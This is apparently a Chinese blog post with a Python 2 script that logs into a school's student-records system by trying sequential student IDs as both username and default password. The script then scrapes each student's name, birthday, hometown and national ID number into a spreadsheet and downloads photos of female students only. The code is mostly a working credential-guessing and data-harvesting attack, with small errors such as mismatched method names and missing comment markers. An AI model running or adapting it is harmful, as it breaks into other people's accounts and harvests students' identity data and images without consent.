Advertisement

使用Python爬取学校学生信息!(简单爬虫)

阅读量:

好久没发过博文了。发现学校的教务系统有很多同学都没修改过初始密码。于是博主就想开发一个试用版python小程序,在未修改密码的同学群中提取信息后提醒同学们尽快完成密码更改。

鉴于写博文时未通知这些受害童鞋们,因此隐去关键信息。

首先为初始化方法__init__(self)

复制代码
    import urllib
    import urllib2
    import cookielib
    import re
    import xlwt
    from xlrd import open_workbook
    from xlutils.copy import copy
    class STUPID:
    
    def __init__(self):
        self.c=0#用于后期记录在excel中行数
        self.loginurl='http://xxx.cn/xxx/xxx.asp'#登陆url
        self.infurl='http://xxx.cn/xxx/xxx/show.asp' #获取信息的url   
        #user-agent用于放在header中,伪装为浏览器
        self.user_agent='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36'
        self.headers={
            'User-Agent':self.user_agent
            }#设置头
        #用于保存cookie
        cookie = cookielib.CookieJar()
        #用于输出send内容,dubug时使用
        httpHandler = urllib2.HTTPHandler(debuglevel=1)
        httpsHandler = urllib2.HTTPSHandler(debuglevel=1)
        self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie),httpHandler, httpsHandler)
        urllib2.install_opener(self.opener)

下面介绍login(self,k)方法

复制代码
    def login1(self,k): 
    user= str(123456789+k)#用户名为学号,为保护隐私,采用该输入,K位偏移量,这是由于学号采用递增方式排列
    passwd= str(123456789+k)#初始密码等于用户名
    #设置提交给服务器的数据
    postdata= urllib.urlencode({
        'user':user,
        'pass':passwd,
        'typeid':'2'})#typeid为用户种类        
    request=urllib2.Request(
        url=self.loginurl,
        data = postdata,
        headers=self.headers
    )
    result= self.opener.open(request)#登陆并获取返回内容
    return user#返回学号

一旦登录成功后,在此情况下其中cookie已预先存在并被记录于签名定义的cookie中。从而使得访问信息页面成为可能,并调用方法getInfPage(self)

复制代码
    def getInfPage(self):
    request=urllib2.Request(
        url=self.infurl,
        headers=self.headers
    )        
    result= self.opener.open(request)
    return result.read().decode('gbk')

获取的数据属于HTML格式的文字;因此有必要调用正则表达式工具来提取所需的信息;最后一步操作通过自定义函数readInf(self)执行。

复制代码
    def readInf(self):
    page= self.getInfPage()#page为html内容
    inf=re.findall('<td.*?>([^<tr>].*?)</td>.*?<td.*?>(.*?)</td>',page,re.S)
    
    return inf

通过规则匹配后生成的数据将被存储在列表中,并在此之后调用writeinf(self,Items,user)方法将被存储在列表中的信息随后将被写入到Excel文件中

复制代码
    def writeinf(self,Items,user):
    if Items:#若item不为空,行数+1
        self.c = self.c+1
    else:
    #由于包里没有直接修改的方法,因此采用先复制再写的方法
    rb = open_workbook("inf.xls")#打开inf.xls文件
    wb= copy(rb)#复制内容
    s= wb.get_sheet(0)#获取第一张表
    
    i=0
    username =''
    x= unicode('女', "utf-8") 
    
    for item in Items:
        s.write(self.c,0,user)#第一列写入学号
        if i<3 :
            if i==0:
                username=item[1]#获取姓名,并写入第二列
            if i== 1 and item[1] == x:#若为女生,获取其照片
                self.saveImg(user,username)#此为保存图片方法,在下文介绍
                print 'save'
    
            s.write(self.c,i+1,item[1])#第三列写入性别,第四列写民族
        if i== 13:#
            s.write(self.c,6,item[1])#第七列写入毕业院校
        if i== 15:
            s.write(self.c,7,item[1])#第八列写入籍贯      
        if i== 17:
            s.write(self.c,8,item[1])#第九列为身份证号            
        else:
            if i == 4:
                s.write(self.c,4,item[0])第五列写生日
            if i == 8:
                s.write(self.c,5,item[0])第六列写政治面貌
        i= i+1
    wb.save('inf.xls')#保存xsl文件

介绍一下保存图片的方法saveImg(self,user,username):

复制代码
    def saveImg(self,user,username):
    imgUrl= 'http://xxx.cn/xxx/xxx/'+user+'.jpg'#图片url
    filename= 'img/'+username+'.jpg'#文件以名字命名
    u= urllib.urlopen(imgUrl)
    data= u.read()#读取图片
    f= open(filename,'wb')
    f.write(data)#保存图片
    f.close #关闭
    return True

最后运行即可

复制代码
    supid= STUPID()
    k=1
    for k in range(1,200) :
    user= supid.login(k)#由于学生人数在200以内,因此最高设置为200
    supid.writeinf(supid.readInf(),user)

随后就是耐心地等待了,时间跨度较长。打算增加多个线程来处理相关的内容。这些图片和信息仅仅是为了娱乐用途保存的,并不准备用于不当行为。大家也不要从事任何不当行为。

全部评论 (0)

还没有任何评论哟~